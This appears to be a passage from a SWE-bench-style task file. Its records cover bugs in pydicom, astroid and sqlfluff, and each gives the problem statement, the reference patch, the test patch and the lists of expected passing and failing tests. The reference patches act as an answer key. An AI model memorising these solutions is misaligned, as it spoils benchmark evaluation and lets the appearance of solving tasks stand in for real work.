"pydicom/tests/test_filewriter.py::TestWriteFile::testJPEG2000", "pydicom/tests/test_filewriter.py::TestWriteFile::test_pathlib_path_filename", "pydicom/tests/test_filewriter.py::TestWriteFile::testListItemWriteBack", "pydicom/tests/test_filewriter.py::TestWriteFile::testwrite_short_uid", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_no_ts", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_double_filemeta", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_ffff_ffff", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_removes_grouplength", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_empty_sequence", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_deflated_retains_elements", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_deflated_deflates_post_file_meta", "pydicom/tests/test_filewriter.py::TestWriteFile::test_write_dataset_without_encoding", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testRTPlan", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testRTDose", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testCT", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testMR", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testUnicode", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testMultiPN", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testJPEG2000", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_pathlib_path_filename", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testListItemWriteBack", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::testwrite_short_uid", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_no_ts", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_double_filemeta", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_ffff_ffff", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_removes_grouplength", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_empty_sequence", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_deflated_retains_elements", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_deflated_deflates_post_file_meta", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_write_dataset_without_encoding", "pydicom/tests/test_filewriter.py::TestScratchWriteDateTime::test_multivalue_DA", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_empty_AT", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_empty_LO", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_DA", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_multi_DA", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_TM", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_multi_TM", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_DT", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_multi_DT", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_ascii_vr_with_padding", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_OD_implicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_OD_explicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_OL_implicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_OL_explicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_UC_implicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_UC_explicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_UR_implicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_UR_explicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_UN_implicit_little", "pydicom/tests/test_filewriter.py::TestWriteDataElement::test_write_unknown_vr_raises", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_pixel_representation_vm_one", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_pixel_representation_vm_three", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_pixel_data", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_waveform_bits_allocated", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_lut_descriptor", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_overlay", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_sequence", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_write_new_ambiguous", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_ambiguous_element_in_sequence_explicit_using_attribute", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_ambiguous_element_in_sequence_explicit_using_index", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_ambiguous_element_in_sequence_implicit_using_attribute", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVR::test_ambiguous_element_in_sequence_implicit_using_index", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVRElement::test_not_ambiguous", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVRElement::test_not_ambiguous_raw_data_element", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVRElement::test_correct_ambiguous_data_element", "pydicom/tests/test_filewriter.py::TestCorrectAmbiguousVRElement::test_correct_ambiguous_raw_data_element", "pydicom/tests/test_filewriter.py::TestWriteAmbiguousVR::test_write_explicit_vr_raises", "pydicom/tests/test_filewriter.py::TestWriteAmbiguousVR::test_write_explicit_vr_little_endian", "pydicom/tests/test_filewriter.py::TestWriteAmbiguousVR::test_write_explicit_vr_big_endian", "pydicom/tests/test_filewriter.py::TestScratchWrite::testImpl_LE_deflen_write", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_preamble_default", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_preamble_custom", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_no_preamble", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_none_preamble", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_bad_preamble", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_bad_filename", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_prefix", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_prefix_none", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_ds_changed", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_raw_elements_preserved_implicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_raw_elements_preserved_explicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_implicit_to_explicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_write_dataset", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_write_dataset_with_explicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_implicit_to_explicit_vr_using_destination", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_explicit_to_implicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_big_to_little_endian", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_little_to_big_endian", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_changed_character_set", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_transfer_syntax_added", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_private_tag_vr_from_implicit_data", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_convert_rgb_from_implicit_to_explicit_vr", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_transfer_syntax_not_added", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_transfer_syntax_raises", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_media_storage_sop_class_uid_added", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_write_no_file_meta", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_raise_no_file_meta", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_add_file_meta", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_standard", "pydicom/tests/test_filewriter.py::TestWriteToStandard::test_commandset_no_written", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_bad_elements", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_missing_elements", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_group_length", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_group_length_updated", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_version", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_implementation_version_name_length", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_implementation_class_uid_length", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoToStandard::test_filelike_position", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_default", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_custom", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_no_preamble", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_ds_unchanged", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_file_meta_unchanged", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_filemeta_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_filemeta_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_commandset_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_commandset_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_commandset_filemeta_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_commandset_filemeta_dataset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_commandset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_commandset_filemeta", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_commandset", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_preamble_commandset_filemeta", "pydicom/tests/test_filewriter.py::TestWriteNonStandard::test_read_write_identical", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_transfer_syntax_not_added", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_bad_elements", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_missing_elements", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_group_length_updated", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_filelike_position", "pydicom/tests/test_filewriter.py::TestWriteFileMetaInfoNonStandard::test_meta_unchanged", "pydicom/tests/test_filewriter.py::TestWriteNumbers::test_write_empty_value", "pydicom/tests/test_filewriter.py::TestWriteNumbers::test_write_list", "pydicom/tests/test_filewriter.py::TestWriteNumbers::test_write_singleton", "pydicom/tests/test_filewriter.py::TestWriteNumbers::test_exception", "pydicom/tests/test_filewriter.py::TestWriteNumbers::test_write_big_endian", "pydicom/tests/test_filewriter.py::TestWriteOtherVRs::test_write_of", "pydicom/tests/test_filewriter.py::TestWriteOtherVRs::test_write_of_dataset", "pydicom/tests/test_filewriter.py::TestWritePN::test_no_encoding", "pydicom/tests/test_filewriter.py::TestWritePN::test_single_byte_multi_charset_groups", "pydicom/tests/test_filewriter.py::TestWritePN::test_single_byte_multi_charset_values", "pydicom/tests/test_filewriter.py::TestWriteText::test_no_encoding", "pydicom/tests/test_filewriter.py::TestWriteText::test_single_byte_multi_charset_text", "pydicom/tests/test_filewriter.py::TestWriteText::test_encode_mixed_charsets_text", "pydicom/tests/test_filewriter.py::TestWriteText::test_single_byte_multi_charset_text_multivalue", "pydicom/tests/test_filewriter.py::TestWriteText::test_invalid_encoding", "pydicom/tests/test_filewriter.py::TestWriteText::test_invalid_encoding_enforce_standard", "pydicom/tests/test_filewriter.py::TestWriteText::test_single_value_with_delimiters", "pydicom/tests/test_filewriter.py::TestWriteDT::test_format_dt", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_little_endian_correct_data", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_big_endian_correct_data", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_little_endian_incorrect_data", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_big_endian_incorrect_data", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_writing_to_gzip", "pydicom/tests/test_filewriter.py::TestWriteUndefinedLengthPixelData::test_writing_too_big_data_in_explicit_encoding"], "environment_setup_commit": "9d69811e539774f296c2f289839147e741251716", "query": "Error decoding dataset with ambiguous VR element when the value is None\nHi all,\r\n I used the storescu in pynetdicom 1.5.3 to send the dicom ct files(both on mac and ubuntu): \r\n**python storescu.py 192.168.1.120 9002 ~/Downloads/test/**\r\n(I also tried https://pydicom.github.io/pynetdicom/stable/examples/storage.html#storage-scu)\r\nbut it throwed errors: \r\n\r\n_E: Failed to encode the supplied Dataset\r\nE: Store failed: /Users/me/Downloads/test/CT_S1_118.dcm\r\nE: Failed to encode the supplied Dataset\r\nTraceback (most recent call last):\r\n File \"storescu.py\", line 283, in main\r\n status = assoc.send_c_store(ds, ii)\r\n File \"/Users/me/.pyenv/versions/3.8.2/lib/python3.8/site-packages/pynetdicom/association.py\", line 1736, in send_c_store\r\n raise ValueError('Failed to encode the supplied Dataset')\r\nValueError: Failed to encode the supplied Dataset_\r\n\r\nBut I used to send same files with storescu in dcm4che successfully.\r\nFile attached.\r\n\r\n[test.zip](https://github.com/pydicom/pynetdicom/files/5258867/test.zip)\r\n\n", "task_id": "pydicom__pydicom-1194"}, {"repo": "pylint-dev/astroid", "instance_id": "pylint-dev__astroid-1268", "base_commit": "ce5cbce5ba11cdc2f8139ade66feea1e181a7944", "patch": "diff --git a/astroid/nodes/as_string.py b/astroid/nodes/as_string.py\n--- a/astroid/nodes/as_string.py\n+++ b/astroid/nodes/as_string.py\n@@ -36,6 +36,7 @@\n MatchSingleton,\n MatchStar,\n MatchValue,\n+ Unknown,\n )\n \n # pylint: disable=unused-argument\n@@ -643,6 +644,9 @@ def visit_property(self, node):\n def visit_evaluatedobject(self, node):\n return node.original.accept(self)\n \n+ def visit_unknown(self, node: \"Unknown\") -> str:\n+ return str(node)\n+\n \n def _import_string(names):\n \"\"\"return a list of (name, asname) formatted as a string\"\"\"\n", "test_patch": "diff --git a/tests/unittest_nodes.py b/tests/unittest_nodes.py\n--- a/tests/unittest_nodes.py\n+++ b/tests/unittest_nodes.py\n@@ -306,6 +306,11 @@ def test_f_strings(self):\n ast = abuilder.string_build(code)\n self.assertEqual(ast.as_string().strip(), code.strip())\n \n+ @staticmethod\n+ def test_as_string_unknown() -> None:\n+ assert nodes.Unknown().as_string() == \"Unknown.Unknown()\"\n+ assert nodes.Unknown(lineno=1, col_offset=0).as_string() == \"Unknown.Unknown()\"\n+\n \n class _NodeTest(unittest.TestCase):\n \"\"\"test transformation of If Node\"\"\"\n", "problem_statement": "'AsStringVisitor' object has no attribute 'visit_unknown'\n```python\r\n>>> import astroid\r\n>>> astroid.nodes.Unknown().as_string()\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 609, in as_string\r\n return AsStringVisitor()(self)\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/as_string.py\", line 56, in __call__\r\n return node.accept(self).replace(DOC_NEWLINE, \"\\n\")\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 220, in accept\r\n func = getattr(visitor, \"visit_\" + self.__class__.__name__.lower())\r\nAttributeError: 'AsStringVisitor' object has no attribute 'visit_unknown'\r\n>>> \r\n```\r\n### `python -c \"from astroid import __pkginfo__; print(__pkginfo__.version)\"` output\r\n\r\n2.8.6-dev0\n", "hints_text": "Thank you for opening the issue.\nI don't believe `Unknown().as_string()` is ever called regularly. AFAIK it's only used during inference. What should the string representation of an `Unknown` node be? So not sure this needs to be addressed.\nProbably just `'Unknown'`.\nIt's mostly only a problem when we do something like this:\n\n```python\ninferred = infer(node)\nif inferred is not Uninferable:\n if inferred.as_string().contains(some_value):\n ...\n```\nSo for the most part, as long as it doesn't crash we're good.", "created_at": "2021-11-21T16:15:23Z", "version": "2.9", "FAIL_TO_PASS": ["tests/unittest_nodes.py::AsStringTest::test_as_string_unknown"], "PASS_TO_PASS": ["tests/unittest_nodes.py::AsStringTest::test_3k_annotations_and_metaclass", "tests/unittest_nodes.py::AsStringTest::test_3k_as_string", "tests/unittest_nodes.py::AsStringTest::test_as_string", "tests/unittest_nodes.py::AsStringTest::test_as_string_for_list_containing_uninferable", "tests/unittest_nodes.py::AsStringTest::test_class_def", "tests/unittest_nodes.py::AsStringTest::test_ellipsis", "tests/unittest_nodes.py::AsStringTest::test_f_strings", "tests/unittest_nodes.py::AsStringTest::test_frozenset_as_string", "tests/unittest_nodes.py::AsStringTest::test_func_signature_issue_185", "tests/unittest_nodes.py::AsStringTest::test_int_attribute", "tests/unittest_nodes.py::AsStringTest::test_module2_as_string", "tests/unittest_nodes.py::AsStringTest::test_module_as_string", "tests/unittest_nodes.py::AsStringTest::test_operator_precedence", "tests/unittest_nodes.py::AsStringTest::test_slice_and_subscripts", "tests/unittest_nodes.py::AsStringTest::test_slices", "tests/unittest_nodes.py::AsStringTest::test_tuple_as_string", "tests/unittest_nodes.py::AsStringTest::test_varargs_kwargs_as_string", "tests/unittest_nodes.py::IfNodeTest::test_block_range", "tests/unittest_nodes.py::IfNodeTest::test_if_elif_else_node", "tests/unittest_nodes.py::IfNodeTest::test_if_sys_guard", "tests/unittest_nodes.py::IfNodeTest::test_if_typing_guard", "tests/unittest_nodes.py::TryExceptNodeTest::test_block_range", "tests/unittest_nodes.py::TryFinallyNodeTest::test_block_range", "tests/unittest_nodes.py::TryExceptFinallyNodeTest::test_block_range", "tests/unittest_nodes.py::ImportNodeTest::test_absolute_import", "tests/unittest_nodes.py::ImportNodeTest::test_as_string", "tests/unittest_nodes.py::ImportNodeTest::test_bad_import_inference", "tests/unittest_nodes.py::ImportNodeTest::test_conditional", "tests/unittest_nodes.py::ImportNodeTest::test_conditional_import", "tests/unittest_nodes.py::ImportNodeTest::test_from_self_resolve", "tests/unittest_nodes.py::ImportNodeTest::test_import_self_resolve", "tests/unittest_nodes.py::ImportNodeTest::test_more_absolute_import", "tests/unittest_nodes.py::ImportNodeTest::test_real_name", "tests/unittest_nodes.py::CmpNodeTest::test_as_string", "tests/unittest_nodes.py::ConstNodeTest::test_bool", "tests/unittest_nodes.py::ConstNodeTest::test_complex", "tests/unittest_nodes.py::ConstNodeTest::test_copy", "tests/unittest_nodes.py::ConstNodeTest::test_float", "tests/unittest_nodes.py::ConstNodeTest::test_int", "tests/unittest_nodes.py::ConstNodeTest::test_none", "tests/unittest_nodes.py::ConstNodeTest::test_str", "tests/unittest_nodes.py::ConstNodeTest::test_str_kind", "tests/unittest_nodes.py::ConstNodeTest::test_unicode", "tests/unittest_nodes.py::NameNodeTest::test_assign_to_true", "tests/unittest_nodes.py::TestNamedExprNode::test_frame", "tests/unittest_nodes.py::TestNamedExprNode::test_scope", "tests/unittest_nodes.py::AnnAssignNodeTest::test_as_string", "tests/unittest_nodes.py::AnnAssignNodeTest::test_complex", "tests/unittest_nodes.py::AnnAssignNodeTest::test_primitive", "tests/unittest_nodes.py::AnnAssignNodeTest::test_primitive_without_initial_value", "tests/unittest_nodes.py::ArgumentsNodeTC::test_kwoargs", "tests/unittest_nodes.py::ArgumentsNodeTC::test_positional_only", "tests/unittest_nodes.py::UnboundMethodNodeTest::test_no_super_getattr", "tests/unittest_nodes.py::BoundMethodNodeTest::test_is_property", "tests/unittest_nodes.py::AliasesTest::test_aliases", "tests/unittest_nodes.py::Python35AsyncTest::test_async_await_keywords", "tests/unittest_nodes.py::Python35AsyncTest::test_asyncfor_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_asyncwith_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_await_as_string", "tests/unittest_nodes.py::Python35AsyncTest::test_decorated_async_def_as_string", "tests/unittest_nodes.py::ContextTest::test_list_del", "tests/unittest_nodes.py::ContextTest::test_list_load", "tests/unittest_nodes.py::ContextTest::test_list_store", "tests/unittest_nodes.py::ContextTest::test_starred_load", "tests/unittest_nodes.py::ContextTest::test_starred_store", "tests/unittest_nodes.py::ContextTest::test_subscript_del", "tests/unittest_nodes.py::ContextTest::test_subscript_load", "tests/unittest_nodes.py::ContextTest::test_subscript_store", "tests/unittest_nodes.py::ContextTest::test_tuple_load", "tests/unittest_nodes.py::ContextTest::test_tuple_store", "tests/unittest_nodes.py::test_unknown", "tests/unittest_nodes.py::test_type_comments_with", "tests/unittest_nodes.py::test_type_comments_for", "tests/unittest_nodes.py::test_type_coments_assign", "tests/unittest_nodes.py::test_type_comments_invalid_expression", "tests/unittest_nodes.py::test_type_comments_invalid_function_comments", "tests/unittest_nodes.py::test_type_comments_function", "tests/unittest_nodes.py::test_type_comments_arguments", "tests/unittest_nodes.py::test_type_comments_posonly_arguments", "tests/unittest_nodes.py::test_correct_function_type_comment_parent", "tests/unittest_nodes.py::test_is_generator_for_yield_assignments", "tests/unittest_nodes.py::test_f_string_correct_line_numbering", "tests/unittest_nodes.py::test_assignment_expression", "tests/unittest_nodes.py::test_assignment_expression_in_functiondef", "tests/unittest_nodes.py::test_get_doc", "tests/unittest_nodes.py::test_parse_fstring_debug_mode", "tests/unittest_nodes.py::test_parse_type_comments_with_proper_parent", "tests/unittest_nodes.py::test_const_itered", "tests/unittest_nodes.py::test_is_generator_for_yield_in_while", "tests/unittest_nodes.py::test_is_generator_for_yield_in_if", "tests/unittest_nodes.py::test_is_generator_for_yield_in_aug_assign"], "environment_setup_commit": "0d1211558670cfefd95b39984b8d5f7f34837f32", "query": "'AsStringVisitor' object has no attribute 'visit_unknown'\n```python\r\n>>> import astroid\r\n>>> astroid.nodes.Unknown().as_string()\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 609, in as_string\r\n return AsStringVisitor()(self)\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/as_string.py\", line 56, in __call__\r\n return node.accept(self).replace(DOC_NEWLINE, \"\\n\")\r\n File \"/Users/tusharsadhwani/code/marvin-python/venv/lib/python3.9/site-packages/astroid/nodes/node_ng.py\", line 220, in accept\r\n func = getattr(visitor, \"visit_\" + self.__class__.__name__.lower())\r\nAttributeError: 'AsStringVisitor' object has no attribute 'visit_unknown'\r\n>>> \r\n```\r\n### `python -c \"from astroid import __pkginfo__; print(__pkginfo__.version)\"` output\r\n\r\n2.8.6-dev0\n", "task_id": "pylint-dev__astroid-1268"}, {"repo": "sqlfluff/sqlfluff", "instance_id": "sqlfluff__sqlfluff-2386", "base_commit": "23d698607b45b8469c766b521d27e9a6e92e8739", "patch": "diff --git a/src/sqlfluff/core/rules/base.py b/src/sqlfluff/core/rules/base.py\n--- a/src/sqlfluff/core/rules/base.py\n+++ b/src/sqlfluff/core/rules/base.py\n@@ -875,7 +875,7 @@ def eval(self, **kwargs):\n \n plugin_name, code = rule_name_match.groups()\n # If the docstring is multiline, then we extract just summary.\n- description = cls.__doc__.split(\"\\n\")[0]\n+ description = cls.__doc__.replace(\"``\", \"'\").split(\"\\n\")[0]\n \n if plugin_name:\n code = f\"{plugin_name}_{code}\"\n", "test_patch": "diff --git a/test/core/rules/docstring_test.py b/test/core/rules/docstring_test.py\n--- a/test/core/rules/docstring_test.py\n+++ b/test/core/rules/docstring_test.py\n@@ -1,6 +1,7 @@\n \"\"\"Test rules docstring.\"\"\"\n import pytest\n \n+from sqlfluff import lint\n from sqlfluff.core.plugin.host import get_plugin_manager\n \n KEYWORD_ANTI = \"\\n | **Anti-pattern**\"\n@@ -34,3 +35,19 @@ def test_keyword_anti_before_best():\n assert rule.__doc__.index(KEYWORD_ANTI) < rule.__doc__.index(\n KEYWORD_BEST\n ), f\"{rule.__name__} keyword {KEYWORD_BEST} appears before {KEYWORD_ANTI}\"\n+\n+\n+def test_backtick_replace():\n+ \"\"\"Test replacing docstring double backticks for lint results.\"\"\"\n+ sql = \"\"\"\n+ SELECT\n+ foo.a,\n+ bar.b\n+ FROM foo\n+ JOIN bar;\n+ \"\"\"\n+ result = lint(sql, rules=[\"L051\"])\n+ # L051 docstring looks like:\n+ # ``INNER JOIN`` must be fully qualified.\n+ # Check the double bacticks (``) get replaced by a single quote (').\n+ assert result[0][\"description\"] == \"'INNER JOIN' must be fully qualified.\"\ndiff --git a/test/rules/std_L054_test.py b/test/rules/std_L054_test.py\n--- a/test/rules/std_L054_test.py\n+++ b/test/rules/std_L054_test.py\n@@ -29,7 +29,7 @@ def test__rules__std_L054_raised() -> None:\n assert len(results_l054) == 2\n assert (\n results_l054[0][\"description\"]\n- == \"Inconsistent column references in ``GROUP BY/ORDER BY`` clauses.\"\n+ == \"Inconsistent column references in 'GROUP BY/ORDER BY' clauses.\"\n )\n \n \n", "problem_statement": "Double backticks in Lint description\n![image](https://user-images.githubusercontent.com/80432516/150420352-57452c80-ad25-423b-8251-645e541579ad.png)\r\n(n.b. this affects a lot more rules than L051)\r\n\r\nThis was introduced in #2234 in which docstrings such as\r\n```\r\n`INNER JOIN` must be fully qualified.\r\n```\r\nwere replaced with \r\n```\r\n``INNER JOIN`` must be fully qualified.\r\n```\r\nso that they appear as code blocks in Sphinx for docs.\r\n![image](https://user-images.githubusercontent.com/80432516/150420294-eb9d3127-db1d-457c-a637-d614e0267277.png)\r\n\r\nHowever, our rules will use the first line of these docstrings in the event that no `description` is provided to the lint results.\r\n\r\nThis doesn't look great on the CLI so we should fix this. As far as I'm aware there are two approaches for this:\r\n1. Pass a `description` to all the `LintResult`s.\r\n2. Update the code that gets the default description from the docstring to do something like, replace the double backticks with a single one, or remove them, or do something clever like make them bold for the CLI and remove them for non-CLI.\r\n\r\nMy strong preference is number 2, but I'm open to discussion as to how exactly we do this \ud83d\ude04 \r\n\r\n@barrywhart @tunetheweb \n", "hints_text": "Number 2 sounds good to me!\n@barrywhart which variation?\nI would replace with single \"normal\" quotes: ' rather than \\`.\r\n\r\nThe clever approach could be cool for later, but I wouldn't try it now. I can't remember if we already handle detecting whether we're running in a terminal or not, because the techniques for doing bold or colored text don't work well when redirecting output to a file, etc.\n> The clever approach could be cool for later, but I wouldn't try it now. I can't remember if we already handle detecting whether we're running in a terminal or not, because the techniques for doing bold or colored text don't work well when redirecting output to a file, etc.\r\n\r\nYeah I think there's some `isatty` function we use in the formatter, but agree on the simple replace method for now \ud83d\ude04 ", "created_at": "2022-01-21T00:03:48Z", "version": "0.8", "FAIL_TO_PASS": ["test/core/rules/docstring_test.py::test_backtick_replace", "test/rules/std_L054_test.py::test__rules__std_L054_raised"], "PASS_TO_PASS": ["test/core/rules/docstring_test.py::test_content_count[\\n", "test/core/rules/docstring_test.py::test_keyword_anti_before_best", "test/rules/std_L054_test.py::test__rules__std_L054_unparsable", "test/rules/std_L054_test.py::test__rules__std_L054_noqa"], "environment_setup_commit": "a5c4eae4e3e419fe95460c9afd9cf39a35a470c4", "query": "Double backticks in Lint description\n![image](https://user-images.githubusercontent.com/80432516/150420352-57452c80-ad25-423b-8251-645e541579ad.png)\r\n(n.b. this affects a lot more rules than L051)\r\n\r\nThis was introduced in #2234 in which docstrings such as\r\n```\r\n`INNER JOIN` must be fully qualified.\r\n```\r\nwere replaced with \r\n```\r\n``INNER JOIN`` must be fully qualified.\r\n```\r\nso that they appear as code blocks in Sphinx for docs.\r\n![image](https://user-images.githubusercontent.com/80432516/150420294-eb9d3127-db1d-457c-a637-d614e0267277.png)\r\n\r\nHowever, our rules will use the first line of these docstrings in the event that no `description` is provided to the lint results.\r\n\r\nThis doesn't look great on the CLI so we should fix this. As far as I'm aware there are two approaches for this:\r\n1. Pass a `description` to all the `LintResult`s.\r\n2. Update the code that gets the default description from the docstring to do something like, replace the double backticks with a single one, or remove them, or do something clever like make them bold for the CLI and remove them for non-CLI.\r\n\r\nMy strong preference is number 2, but I'm open to discussion as to how exactly we do this \ud83d\ude04 \r\n\r\n@barrywhart @tunetheweb \n", "task_id": "sqlfluff__sqlfluff-2386"}] diff --git a/tests/test_data/data_sources/swe-bench-dev-easy_first_only.json b/tests/test_data/data_sources/swe-bench-dev-easy_first_only.json new file mode 100644 index 0000000..3599297 --- /dev/null +++ b/tests/test_data/data_sources/swe-bench-dev-easy_first_only.json @@ -0,0 +1 @@ +[{"repo": "pydicom/pydicom", "instance_id": "pydicom__pydicom-1458", "base_commit": "8da0b9b215ebfad5756051c891def88e426787e7", "patch": "diff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py\n--- a/pydicom/pixel_data_handlers/numpy_handler.py\n+++ b/pydicom/pixel_data_handlers/numpy_handler.py\n@@ -43,7 +43,9 @@\n | (0028,0100) | BitsAllocated | 1 | 1, 8, 16, 32, | Required |\n | | | | 64 | |\n +-------------+---------------------------+------+---------------+----------+\n-| (0028,0103) | PixelRepresentation | 1 | 0, 1 | Required |\n+| (0028,0101) | 